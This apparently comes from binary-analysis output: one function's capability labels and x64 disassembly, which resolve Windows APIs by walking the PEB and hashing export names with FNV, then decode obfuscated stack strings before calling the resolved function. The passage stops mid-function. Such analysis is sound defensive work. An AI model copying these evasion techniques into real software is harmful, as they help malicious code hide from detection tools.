Function at 0x140012260
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get kernel32 base address
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140126240]
xor rax, rsp
mov qword [rbp + 0x38], rax
xor r12d, r12d
mov r15d, r12d
mov esi, 0x7a3be211
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140012498
cmp word [rax + 0x48], r12w
je 0x140012498
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r15d, r15d
je 0x140012333
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
mov r10d, 0xa0a441af
cmp r9, rbx
je 0x14001232a
nop dword [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, rbx
jne 0x140012300
cmp r10d, r15d
jne 0x140012498
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r8, rdx
shr r8, 0x20
mov qword [rsp + 0x48], r8
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x140012498
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140012498
mov r9d, dword [rdi + 0x1c]
add r9, r11
mov qword [rbp - 0x30], r9
mov ecx, dword [rdi + 0x24]
add rcx, r11
mov qword [rbp - 0x40], rcx
mov r10d, dword [rdi + 0x20]
nop dword [rax]
dec ebx
movzx ecx, word [rcx + rbx*2]
mov r14d, dword [r9 + rcx*4]
add r14, r11
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r11
cmp r14, rdi
jbe 0x1400123ab
lea rcx, [r8 + rdi]
cmp r14, rcx
jae 0x1400123ab
mov r13b, 1
jmp 0x1400123ae
xor r13b, r13b
mov r10d, 0xa0a441af
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x1400123ef
nop
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x1400123c0
mov r8, qword [rsp + 0x48]
cmp r10d, esi
je 0x140012410
test ebx, ebx
mov r9, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x40]
mov r10d, dword [rdi + 0x20]
jne 0x140012380
mov rax, qword [rax]
jmp 0x1400122b0
test r13b, r13b
je 0x1400124a0
mov esi, 0xa0a441af
mov r15d, esi
movzx edx, byte [r14]
cmp dl, 0x2e
je 0x140012457
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc r14
movzx edx, byte [r14]
cmp dl, 0x2e
jne 0x140012430
inc r14
movzx edx, byte [r14]
test dl, dl
je 0x140012487
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea r14, [r14 + 1]
movzx edx, byte [r14]
test dl, dl
jne 0x140012462
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400122b0
mov al, 0xe9
mov dl, 0xec
mov r8b, 0xff
mov r9b, 0xe1
mov r10b, 0xaf
movzx r11d, r10b
mov bl, 0xaa
mov dil, 0xf3
mov sil, 0xea
mov r15b, 0xed
mov r13b, 0x98
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x15], rcx
mov dword [rbp - 0xd], ecx
movzx ecx, al
movzx eax, cl
and al, 0x13
add al, al
sub cl, al
sub cl, 0x72
mov byte [rbp - 0x20], cl
movzx ecx, dl
movzx eax, cl
and al, 0x14
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 0x1f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x15
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp - 0x1e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x16
add al, al
sub cl, al
sub cl, 0x6f
mov byte [rbp - 0x1d], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x17
add al, al
sub cl, al
sub cl, 0x6e
mov byte [rbp - 0x1c], cl
mov ecx, r11d
movzx eax, r11b
and al, 0x18
add al, al
sub cl, al
sub cl, 0x6d
mov byte [rbp - 0x1b], cl
movzx ecx, bl
movzx eax, cl
and al, 0x19
add al, al
sub cl, al
sub cl, 0x6c
mov byte [rbp - 0x1a], cl
movzx ecx, dil
movzx eax, cl
and al, 0x1a
add al, al
sub cl, al
sub cl, 0x6b
mov byte [rbp - 0x19], cl
movzx ecx, sil
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
sub cl, 0x6a
mov byte [rbp - 0x18], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
sub cl, 0x69
mov byte [rbp - 0x17], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x1d
add al, al
sub cl, al
sub cl, 0x68
mov byte [rbp - 0x16], cl
mov rdx, qword [rsp + 0x48]
movzx ecx, dl
movzx eax, cl
and al, 0x1e
add al, al
sub cl, al
sub cl, 0x67
mov byte [rbp - 0x15], cl
movzx ecx, byte [rbp - 0x14]
movzx eax, cl
and al, 0x1f
add al, al
sub cl, al
sub cl, 0x66
mov byte [rbp - 0x14], cl
movzx ecx, byte [rbp - 0x13]
movzx eax, cl
and al, 0x20
add al, al
sub cl, al
sub cl, 0x65
mov byte [rbp - 0x13], cl
movzx ecx, byte [rbp - 0x12]
movzx eax, cl
and al, 0x21
add al, al
sub cl, al
sub cl, 0x64
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0x22
add al, al
sub cl, al
sub cl, 0x63
mov byte [rbp - 0x11], cl
movzx ecx, byte [rbp - 0x10]
movzx eax, cl
and al, 0x23
add al, al
sub cl, al
sub cl, 0x62
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0x24
add al, al
sub cl, al
sub cl, 0x61
mov byte [rbp - 0xf], cl
movzx ecx, byte [rbp - 0xe]
movzx eax, cl
and al, 0x25
add al, al
sub cl, al
sub cl, 0x60
mov byte [rbp - 0xe], cl
movzx ecx, dl
movzx eax, cl
and al, 0x26
add al, al
sub cl, al
sub cl, 0x5f
mov byte [rbp - 0xd], cl
movzx ecx, byte [rbp - 0xc]
movzx eax, cl
and al, 0x27
add al, al
sub cl, al
sub cl, 0x5e
mov byte [rbp - 0xc], cl
movzx ecx, byte [rbp - 0xb]
movzx eax, cl
and al, 0x28
add al, al
sub cl, al
sub cl, 0x5d
mov byte [rbp - 0xb], cl
movzx ecx, byte [rbp - 0xa]
movzx eax, cl
and al, 0x29
add al, al
sub cl, al
sub cl, 0x5c
mov byte [rbp - 0xa], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x6108340e7017c2a
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x7b
mov byte [rbp - 9], cl
lea rcx, [rbp - 0x20]
call r14
mov al, 0xc1
mov r8b, 0xc6
mov r9b, 0xc7
mov r10b, 0xfe
mov r11b, 0xfc
mov bl, 3
mov dil, 0xcc
mov sil, 0x3b
mov r15b, 0x3a
mov r13b, 0xcd
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x16], rcx
mov dword [rbp - 0xe], ecx
mov word [rbp - 0xa], cx
movzx edx, al
movzx eax, dl
and al, 0x79
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x7a
add al, al
sub cl, al
add cl, 0x2b
mov byte [rbp - 0x1f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x7b
mov ecx, 0x16
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x7c
add al, al
sub cl, al
add cl, 0x2d
mov byte [rbp - 0x1d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x7d
mov ecx, 0x17
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1c], cl
movzx ecx, bl
movzx eax, cl
and al, 0x7e
add al, al
sub cl, al
add cl, 0x2f
mov byte [rbp - 0x1b], cl
movzx edx, dil
movzx eax, dl
and al, 0x7f
mov edi, 0x18
mov dword [rbp - 0x4c], edi
mov ecx, edi
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1a], cl
movzx ecx, sil
movzx eax, cl
and al, 0x80
add al, al
sub cl, al
add cl, 0x31
mov byte [rbp - 0x19], cl
movzx edx, r15b
movzx eax, dl
and al, 0x81
mov esi, 0x19
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x18], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x82
add al, al
sub cl, al
add cl, 0x33
mov byte [rbp - 0x17], cl
mov r8, qword [rsp + 0x48]
movzx edx, r8b
movzx eax, dl
and al, 0x83
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x16], cl
movzx ecx, byte [rbp - 0x15]
movzx eax, cl
and al, 0x84
add al, al
sub cl, al
add cl, 0x35
mov byte [rbp - 0x15], cl
movzx edx, byte [rbp - 0x14]
movzx eax, dl
and al, 0x85
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x14], cl
movzx ecx, byte [rbp - 0x13]
movzx eax, cl
and al, 0x86
add al, al
sub cl, al
add cl, 0x37
mov byte [rbp - 0x13], cl
movzx edx, byte [rbp - 0x12]
movzx eax, dl
and al, 0x87
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0x88
add al, al
sub cl, al
add cl, 0x39
mov byte [rbp - 0x11], cl
movzx edx, byte [rbp - 0x10]
movzx eax, dl
and al, 0x89
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0x8a
add al, al
sub cl, al
add cl, 0x3b
mov byte [rbp - 0xf], cl
movzx edx, r8b
movzx eax, dl
and al, 0x8b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0xe], cl
movzx ecx, byte [rbp - 0xd]
movzx eax, cl
and al, 0x8c
add al, al
sub cl, al
add cl, 0x3d
mov byte [rbp - 0xd], cl
movzx edx, byte [rbp - 0xc]
movzx eax, dl
and al, 0x8d
mov ecx, 0x1f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0xc], cl
movzx ecx, byte [rbp - 0xb]
movzx eax, cl
and al, 0x8e
add al, al
sub cl, al
add cl, 0x3f
mov byte [rbp - 0xb], cl
movzx edx, r8b
movzx eax, dl
and al, 0x8f
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0xa], cl
movzx ecx, byte [rbp - 9]
movzx eax, cl
and al, 0x90
add al, al
sub cl, al
add cl, 0x41
mov byte [rbp - 9], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x74ba6b2c68d1791
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x4f
mov byte [rbp - 8], cl
lea rcx, [rbp - 0x20]
call r14
mov al, 0x69
movzx r8d, al
mov r9b, 0x7e
mov r10b, 0x6c
mov r11b, 0x72
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x13], rcx
mov dword [rbp - 0xb], ecx
movzx edx, al
movzx eax, dl
and al, 0x41
mov r15d, 0x3d
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
mov ecx, r8d
movzx eax, r8b
and al, 0x42
add al, al
sub cl, al
add cl, 0x7b
mov byte [rbp - 0x1f], cl
movzx edx, r9b
movzx eax, dl
and al, 0x43
mov ebx, 0x3e
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x44
add al, al
sub cl, al
add cl, 0x7d
mov byte [rbp - 0x1d], cl
movzx edx, r11b
movzx eax, dl
and al, 0x45
mov r13d, 0x3f
mov ecx, r13d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1c], cl
mov al, 0x76
movzx ecx, al
movzx eax, cl
and al, 0x46
add al, al
sub cl, al
add cl, 0x7f
mov byte [rbp - 0x1b], cl
mov al, 0xbd
movzx ecx, al
movzx eax, cl
and al, 0x47
add al, al
sub cl, al
add cl, 0x80
mov byte [rbp - 0x1a], cl
mov al, 0xb1
movzx ecx, al
movzx eax, cl
and al, 0x48
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rbp - 0x19], cl
mov al, 0xbc
movzx ecx, al
movzx eax, cl
and al, 0x49
add al, al
sub cl, al
sub cl, r9b
mov byte [rbp - 0x18], cl
mov al, 0x61
movzx ecx, al
movzx eax, cl
and al, 0x4a
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rbp - 0x17], cl
mov al, 0x78
movzx ecx, al
movzx eax, cl
and al, 0x4b
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp - 0x16], cl
mov al, 0x7f
movzx ecx, al
movzx eax, cl
and al, 0x4c
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp - 0x15], cl
mov al, 0x8a
movzx ecx, al
movzx eax, cl
and al, 0x4d
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rbp - 0x14], cl
mov rdx, qword [rsp + 0x48]
movzx ecx, dl
movzx eax, cl
and al, 0x4e
add al, al
sub cl, al
sub cl, 0x79
mov byte [rbp - 0x13], cl
movzx ecx, byte [rbp - 0x12]
movzx eax, cl
and al, 0x4f
add al, al
sub cl, al
sub cl, 0x78
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0x50
add al, al
sub cl, al
sub cl, 0x77
mov byte [rbp - 0x11], cl
movzx ecx, byte [rbp - 0x10]
movzx eax, cl
and al, 0x51
add al, al
sub cl, al
sub cl, 0x76
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0x52
add al, al
sub cl, al
sub cl, 0x75
mov byte [rbp - 0xf], cl
movzx ecx, byte [rbp - 0xe]
movzx eax, cl
and al, 0x53
add al, al
sub cl, al
sub cl, 0x74
mov byte [rbp - 0xe], cl
movzx ecx, byte [rbp - 0xd]
movzx eax, cl
and al, 0x54
add al, al
sub cl, al
sub cl, 0x73
mov byte [rbp - 0xd], cl
movzx ecx, byte [rbp - 0xc]
movzx eax, cl
and al, 0x55
add al, al
sub cl, al
sub cl, r11b
mov byte [rbp - 0xc], cl
movzx ecx, dl
movzx eax, cl
and al, 0x56
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 0xb], cl
movzx ecx, byte [rbp - 0xa]
movzx eax, cl
and al, 0x57
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp - 0xa], cl
movzx ecx, byte [rbp - 9]
movzx eax, cl
and al, 0x58
add al, al
sub cl, al
sub cl, 0x6f
mov byte [rbp - 9], cl
movzx ecx, byte [rbp - 8]
mov eax, ecx
movabs rdx, 0x363129f6ecf98559
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x39
mov byte [rbp - 8], cl
lea rcx, [rbp - 0x20]
call r14
mov al, 0xab
mov r8b, 0xb9
mov r9b, 0xb4
mov r10b, 0xaa
mov r11b, 0xc1
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x14], rcx
movzx edx, al
movzx eax, dl
and al, 0xfb
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x20], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xfc
add al, al
sub cl, al
add cl, 0x1f
mov byte [rbp - 0x1f], cl
movzx edx, r9b
movzx eax, dl
and al, 0xfd
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xfe
add al, al
sub cl, al
add cl, 0x21
mov byte [rbp - 0x1d], cl
movzx ecx, r11b
mov eax, 0x22
sub al, cl
mov byte [rbp - 0x1c], al
mov al, 0x4d
movzx eax, al
add al, 0x23
mov byte [rbp - 0x1b], al
mov al, 0x47
movzx edx, al
movzx eax, dl
and al, 1
mov ecx, sendto
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x1a], cl
mov al, 9
movzx ecx, al
movzx eax, cl
and al, 2
add al, al
sub cl, al
add cl, 0x25
mov byte [rbp - 0x19], cl
mov al, 0x42
movzx edx, al
movzx eax, dl
and al, 3
mov ecx, reloc.WS2_32.dll_send
mov dword [rbp - 0x40], ecx
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x18], cl
mov al, 0x4d
movzx ecx, al
movzx eax, cl
and al, 4
add al, al
sub cl, al
add cl, 0x27
mov byte [rbp - 0x17], cl
mov al, 0x4c
movzx edx, al
movzx eax, dl
and al, 5
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x16], cl
mov al, 0xdb
movzx ecx, al
movzx eax, cl
and al, 6
add al, al
sub cl, al
add cl, 0x29
mov byte [rbp - 0x15], cl
mov r8, qword [rsp + 0x48]
movzx edx, r8b
movzx eax, dl
and al, 7
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x14], cl
movzx ecx, byte [rbp - 0x13]
movzx eax, cl
and al, 8
add al, al
sub cl, al
add cl, 0x2b
mov byte [rbp - 0x13], cl
movzx edx, byte [rbp - 0x12]
movzx eax, dl
and al, 9
mov ecx, 0x16
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0xa
add al, al
sub cl, al
add cl, 0x2d
mov byte [rbp - 0x11], cl
movzx edx, byte [rbp - 0x10]
movzx eax, dl
and al, 0xb
mov ecx, 0x17
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0xc
add al, al
sub cl, al
add cl, 0x2f
mov byte [rbp - 0xf], cl
movzx edx, byte [rbp - 0xe]
movzx eax, dl
and al, 0xd
mov ecx, edi
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0xe], cl
movzx ecx, byte [rbp - 0xd]
movzx eax, cl
and al, 0xe
add al, al
sub cl, al
add cl, 0x31
mov byte [rbp - 0xd], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0xb0504f006ca33e0f
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x23
mov byte [rbp - 0xc], cl
lea rcx, [rbp - 0x20]
call r14
mov al, 0xeb
mov dl, 0xe1
mov r8b, 0xe7
mov r9b, 0xef
mov r10b, 0xe0
mov r11b, 0xa6
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x14], rcx
mov dword [rbp - 0xc], ecx
mov word [rbp - 8], cx
movzx ecx, al
movzx eax, cl
and al, 0x14
add al, al
sub cl, al
sub cl, 0x78
mov byte [rbp - 0x20], cl
movzx ecx, dl
movzx eax, cl
and al, 0x15
add al, al
sub cl, al
sub cl, 0x77
mov byte [rbp - 0x1f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x16
add al, al
sub cl, al
sub cl, 0x76
mov byte [rbp - 0x1e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x17
add al, al
sub cl, al
sub cl, 0x75
mov byte [rbp - 0x1d], cl
movzx ecx, r10b
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x74
mov byte [rbp - 0x1c], cl
movzx ecx, r11b
movzx eax, cl
and al, sil
add al, al
sub cl, al
sub cl, 0x73
mov byte [rbp - 0x1b], cl
mov al, 0xa4
movzx ecx, al
movzx eax, cl
and al, 0x1a
add al, al
sub cl, al
sub cl, 0x72
mov byte [rbp - 0x1a], cl
mov al, 0xa1
movzx ecx, al
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 0x19], cl
mov al, 0xec
movzx ecx, al
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp - 0x18], cl
mov al, 0xe5
movzx ecx, al
movzx eax, cl
and al, 0x1d
add al, al
sub cl, al
sub cl, 0x6f
mov byte [rbp - 0x17], cl
mov al, 0xe6
movzx ecx, al
movzx eax, cl
and al, 0x1e
add al, al
sub cl, al
sub cl, 0x6e
mov byte [rbp - 0x16], cl
mov al, 0x93
movzx ecx, al
movzx eax, cl
and al, 0x1f
add al, al
sub cl, al
sub cl, 0x6d
mov byte [rbp - 0x15], cl
mov rdx, qword [rsp + 0x48]
movzx ecx, dl
movzx eax, cl
and al, 0x20
add al, al
sub cl, al
sub cl, 0x6c
mov byte [rbp - 0x14], cl
movzx ecx, byte [rbp - 0x13]
movzx eax, cl
and al, 0x21
add al, al
sub cl, al
sub cl, 0x6b
mov byte [rbp - 0x13], cl
movzx ecx, byte [rbp - 0x12]
movzx eax, cl
and al, 0x22
add al, al
sub cl, al
sub cl, 0x6a
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0x23
add al, al
sub cl, al
sub cl, 0x69
mov byte [rbp - 0x11], cl
movzx ecx, byte [rbp - 0x10]
movzx eax, cl
and al, 0x24
add al, al
sub cl, al
sub cl, 0x68
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0x25
add al, al
sub cl, al
sub cl, 0x67
mov byte [rbp - 0xf], cl
movzx ecx, byte [rbp - 0xe]
movzx eax, cl
and al, 0x26
add al, al
sub cl, al
sub cl, 0x66
mov byte [rbp - 0xe], cl
movzx ecx, byte [rbp - 0xd]
movzx eax, cl
and al, 0x27
add al, al
sub cl, al
sub cl, 0x65
mov byte [rbp - 0xd], cl
movzx ecx, dl
movzx eax, cl
and al, 0x28
add al, al
sub cl, al
sub cl, 0x64
mov byte [rbp - 0xc], cl
movzx ecx, byte [rbp - 0xb]
movzx eax, cl
and al, 0x29
add al, al
sub cl, al
sub cl, 0x63
mov byte [rbp - 0xb], cl
movzx ecx, byte [rbp - 0xa]
movzx eax, cl
and al, 0x2a
add al, al
sub cl, al
sub cl, 0x62
mov byte [rbp - 0xa], cl
movzx ecx, byte [rbp - 9]
movzx eax, cl
and al, 0x2b
add al, al
sub cl, al
sub cl, 0x61
mov byte [rbp - 9], cl
movzx ecx, dl
movzx eax, cl
and al, 0x2c
add al, al
sub cl, al
sub cl, 0x60
mov byte [rbp - 8], cl
movzx ecx, byte [rbp - 7]
mov eax, ecx
movabs rdx, 0xab4d1ad287d1a22d
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x74
mov byte [rbp - 7], cl
lea rcx, [rbp - 0x20]
call r14
mov al, 0xef
mov dl, 0x8c
mov r8b, 0x4a
mov r9b, 0x9a
mov r10b, 0x4f
movzx r11d, r10b
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x15], rcx
mov word [rbp - 0xd], cx
movzx ecx, al
movzx eax, cl
and al, 0x2f
add al, al
sub cl, al
sub cl, 0x1a
mov byte [rbp - 0x20], cl
movzx ecx, dl
movzx eax, cl
and al, 0x30
add al, al
sub cl, al
sub cl, sil
mov byte [rbp - 0x1f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x31
add al, al
sub cl, al
sub cl, dil
mov byte [rbp - 0x1e], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x32
add al, al
sub cl, al
sub cl, 0x17
mov byte [rbp - 0x1d], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x33
add al, al
sub cl, al
sub cl, 0x16
mov byte [rbp - 0x1c], cl
mov ecx, r11d
movzx eax, r11b
and al, 0x34
add al, al
sub cl, al
sub cl, 0x15
mov byte [rbp - 0x1b], cl
mov al, 0x42
movzx ecx, al
movzx eax, cl
and al, 0x35
add al, al
sub cl, al
sub cl, 0x14
mov byte [rbp - 0x1a], cl
mov al, 0x9b
movzx ecx, al
movzx eax, cl
and al, 0x36
add al, al
sub cl, al
sub cl, 0x13
mov byte [rbp - 0x19], cl
mov al, 0x82
movzx ecx, al
movzx eax, cl
and al, 0x37
add al, al
sub cl, al
sub cl, 0x12
mov byte [rbp - 0x18], cl
mov al, 0x8d
movzx ecx, al
movzx eax, cl
and al, 0x38
add al, al
sub cl, al
sub cl, 0x11
mov byte [rbp - 0x17], cl
mov al, 0x70
movzx ecx, al
movzx eax, cl
and al, 0x39
add al, al
sub cl, al
sub cl, 0x10
mov byte [rbp - 0x16], cl
mov rdx, qword [rsp + 0x48]
movzx ecx, dl
movzx eax, cl
and al, 0x3a
add al, al
sub cl, al
sub cl, 0xf
mov byte [rbp - 0x15], cl
movzx ecx, byte [rbp - 0x14]
movzx eax, cl
and al, 0x3b
add al, al
sub cl, al
sub cl, 0xe
mov byte [rbp - 0x14], cl
movzx ecx, byte [rbp - 0x13]
movzx eax, cl
and al, 0x3c
add al, al
sub cl, al
sub cl, 0xd
mov byte [rbp - 0x13], cl
movzx ecx, byte [rbp - 0x12]
movzx eax, cl
and al, r15b
add al, al
sub cl, al
sub cl, 0xc
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xb
mov byte [rbp - 0x11], cl
movzx ecx, byte [rbp - 0x10]
movzx eax, cl
and al, r13b
add al, al
sub cl, al
sub cl, 0xa
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0x40
add al, al
sub cl, al
sub cl, 9
mov byte [rbp - 0xf], cl
movzx ecx, byte [rbp - 0xe]
movzx eax, cl
and al, 0x41
add al, al
sub cl, al
sub cl, 8
mov byte [rbp - 0xe], cl
movzx ecx, dl
movzx eax, cl
and al, 0x42
add al, al
sub cl, al
sub cl, 7
mov byte [rbp - 0xd], cl
movzx ecx, byte [rbp - 0xc]
mov eax, ecx
movabs rdx, 0x1fac1072d29f8843
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x49
mov byte [rbp - 0xc], cl
lea rcx, [rbp - 0x20]
call r14
mov al, 0x20
mov dl, 0x72
mov r8b, 0x26
movzx r9d, dl
mov r10b, 0x7a
mov r11b, 0x25
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov qword [rbp - 0x17], rcx
mov dword [rbp - 0xf], ecx
movzx ecx, al
movzx eax, cl
and al, 0xea
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp - 0x20], cl
movzx ecx, dl
movzx eax, cl
and al, 0xeb
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp - 0x1f], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xec
add al, al
sub cl, al
sub cl, r10b
mov byte [rbp - 0x1e], cl
mov ecx, r9d
movzx eax, r9b
and al, 0xed
add al, al
sub cl, al
sub cl, 0x79
mov byte [rbp - 0x1d], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xee
add al, al
sub cl, al
sub cl, 0x78
mov byte [rbp - 0x1c], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xef
add al, al
sub cl, al
sub cl, 0x77
mov byte [rbp - 0x1b], cl
mov al, 0x22
movzx ecx, al
movzx eax, cl
and al, 0xf0
add al, al
sub cl, al
sub cl, 0x76
mov byte [rbp - 0x1a], cl
mov al, 0x23
movzx ecx, al
movzx eax, cl
and al, 0xf1
add al, al
sub cl, al
sub cl, 0x75
mov byte [rbp - 0x19], cl
mov al, 0x94
movzx ecx, al
movzx eax, cl
and al, 0xf2
add al, al
sub cl, al
sub cl, 0x74
mov byte [rbp - 0x18], cl
mov rdx, qword [rsp + 0x48]
movzx ecx, dl
movzx eax, cl
and al, 0xf3
add al, al
sub cl, al
sub cl, 0x73
mov byte [rbp - 0x17], cl
movzx ecx, byte [rbp - 0x16]
movzx eax, cl
and al, 0xf4
add al, al
sub cl, al
sub cl, r9b
mov byte [rbp - 0x16], cl
movzx ecx, byte [rbp - 0x15]
movzx eax, cl
and al, 0xf5
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp - 0x15], cl
movzx ecx, byte [rbp - 0x14]
movzx eax, cl
and al, 0xf6
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp - 0x14], cl
movzx ecx, byte [rbp - 0x13]
movzx eax, cl
and al, 0xf7
add al, al
sub cl, al
sub cl, 0x6f
mov byte [rbp - 0x13], cl
